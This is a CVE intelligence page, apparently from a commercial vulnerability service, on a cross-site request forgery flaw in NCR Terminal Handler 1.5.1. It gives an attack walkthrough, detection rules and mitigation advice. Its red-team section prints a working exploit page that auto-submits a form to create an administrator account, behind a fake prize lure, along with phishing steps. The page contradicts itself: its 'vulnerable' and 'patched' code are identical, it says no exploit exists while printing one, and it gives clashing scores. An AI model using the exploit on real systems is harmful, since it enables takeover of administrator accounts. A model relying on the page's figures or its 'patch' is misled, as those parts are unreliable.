☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-47020

CVE-2023-47020 Cross-Site Request Forgery in Ncr
📅 PUBLISHED: 2024-02-08 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.5.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-47020 identifies a critical security flaw in NCR Terminal Handler v1.5.1, involving multiple Cross-Site Request Forgery (CSRF) chaining vulnerabilities. An attacker can craft a malicious request that, when executed by an authenticated administrator, creates a new user account and adds that user to an administrator group, effectively escalating privileges. The vulnerability resides in an undisclosed WSDL function that lacks security controls and accepts custom content types, enabling CSRF attacks without proper validation. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, likely due to incomplete scoring. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains significant due to the potential for full administrative compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary NCR product, and no open-source package or supply chain component is involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – the attack is performed remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – the attacker does not need authentication.
  • User Interaction (UI): Required (R) – the victim must click a link or visit a page.
  • Scope (S): Changed (C) – the attacker can impact resources beyond the vulnerable component.
  • Confidentiality (C): High (H) – full access to sensitive data.
  • Integrity (I): High (H) – full control over system data.
  • Availability (A): High (H) – potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Estimated Base Score: 9.6 (Critical)

Threat Level: Critical – due to the potential for full administrative takeover without authentication.

Deep Dive & Mechanics

The vulnerability is a classic CSRF chaining attack. The NCR Terminal Handler v1.5.1 exposes a WSDL (Web Services Description Language) interface that includes an undisclosed function responsible for user management. This function accepts custom content types (e.g., application/json or text/xml) without enforcing CSRF tokens or origin validation.

Attack Flow:

  1. The attacker crafts a malicious HTML page or email containing a form that automatically submits a request to the vulnerable WSDL endpoint.
  2. The request includes parameters to create a new user account (e.g., username=attacker, password=evil) and add that user to the administrator group (e.g., group=admin).
  3. The victim, who is an authenticated administrator of the NCR Terminal Handler, visits the attacker's page while their session is active.
  4. The browser automatically sends the forged request with the victim's session cookies, executing the user creation and privilege escalation.
  5. The attacker then logs in with the newly created admin account, gaining full control over the terminal handler.

The root cause is the lack of CSRF protection (e.g., anti-CSRF tokens, SameSite cookies, or origin/referer header validation) in the WSDL function. Additionally, the function accepts custom content types, which may bypass some basic filters.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the WSDL definition of NCR Terminal Handler v1.5.1. Below is a hypothetical representation of the vulnerable WSDL operation and a secure implementation.

Vulnerable WSDL Snippet (v1.5.1):

<wsdl:operation name="createUserAndAddToGroup">
    <wsdl:input message="tns:createUserAndAddToGroupRequest" />
    <wsdl:output message="tns:createUserAndAddToGroupResponse" />
</wsdl:operation>

The corresponding implementation lacks CSRF token validation and accepts any content type.

Patched WSDL Snippet (Hypothetical):

<wsdl:operation name="createUserAndAddToGroup">
    <wsdl:input message="tns:createUserAndAddToGroupRequest" />
    <wsdl:output message="tns:createUserAndAddToGroupResponse" />
</wsdl:operation>

The patched implementation would include:

  • CSRF token validation (e.g., X-CSRF-Token header).
  • Strict content type checking (e.g., only application/xml).
  • Origin and Referer header validation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a victim's browser with an active admin session on NCR Terminal Handler v1.5.1.
  • Knowledge of the WSDL endpoint URL (e.g., http://target/terminal-handler/services/UserManagement?wsdl).

Exploit HTML Page:

<!DOCTYPE html>
<html>
<body>
<h1>Click to Win a Prize!</h1>
<form id="csrfForm" action="http://target/terminal-handler/services/UserManagement" method="POST" enctype="text/xml">
    <input type="hidden" name="operation" value="createUserAndAddToGroup">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="evil123">
    <input type="hidden" name="group" value="admin">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Steps:

  1. Host the HTML page on an attacker-controlled server.
  2. Send the link to the victim (e.g., via phishing email).
  3. Victim clicks the link while logged into NCR Terminal Handler.
  4. The form auto-submits, creating an admin account.
  5. Attacker logs in with attacker:evil123.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual POST requests to the WSDL endpoint with custom content types (e.g., text/xml or application/json).
  • Alert on multiple user creation or group modification requests from the same IP or session.
  • Use web application firewalls (WAF) to block requests without proper CSRF tokens.

Mitigation:

  • Implement CSRF tokens in all state-changing operations.
  • Validate the Origin and Referer headers.
  • Restrict accepted content types to a whitelist (e.g., only application/xml).
  • Apply the principle of least privilege to WSDL functions.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /terminal-handler/services/UserManagement with Content-Type: text/xml or application/json.
    • Requests containing parameters like operation=createUserAndAddToGroup, username=, password=, group=admin.
  • System IOCs:
    • New user accounts created with names like attacker, admin, or similar.
    • Unusual admin group membership changes.
  • Log IOCs:
    • WSDL operation logs showing createUserAndAddToGroup without a valid CSRF token.
    • Multiple failed login attempts followed by successful login from a new admin account.

Detection Engineering

YARA Rule

rule CVE_2023_47020_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2023-47020"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2023-47020"
    strings:
        $csrf_payload = "createUserAndAddToGroup" nocase
        $admin_group = "group=admin" nocase
        $user_creation = "username=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-47020 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting NCR Terminal Handler v1.5.1
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'createUserAndAddToGroup'
        cs-content-type: 'text/xml' OR 'application/json'
    condition: selection
falsepositives:
    - Legitimate admin operations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-47020 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"createUserAndAddToGroup"; http_uri; content:"group=admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable WSDL function if possible, or restrict access to it via firewall rules.
  2. Implement CSRF protection by adding anti-CSRF tokens to all state-changing operations.
  3. Validate content types – only accept application/xml for WSDL operations.
  4. Enforce SameSite cookies (set to Lax or Strict).
  5. Monitor logs for suspicious user creation and group modification activities.

Long-Term Fix:

  • Apply a vendor patch when available (currently UNKNOWN).
  • Upgrade to a patched version of NCR Terminal Handler.
  • Conduct a security audit of all WSDL functions for similar vulnerabilities.

Workarounds:

  • Use a web application firewall (WAF) to block requests without CSRF tokens.
  • Implement additional authentication for sensitive operations (e.g., re-authentication for admin changes).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

NCR Terminal Handler
NCR TH v1.5.1
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-47020/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.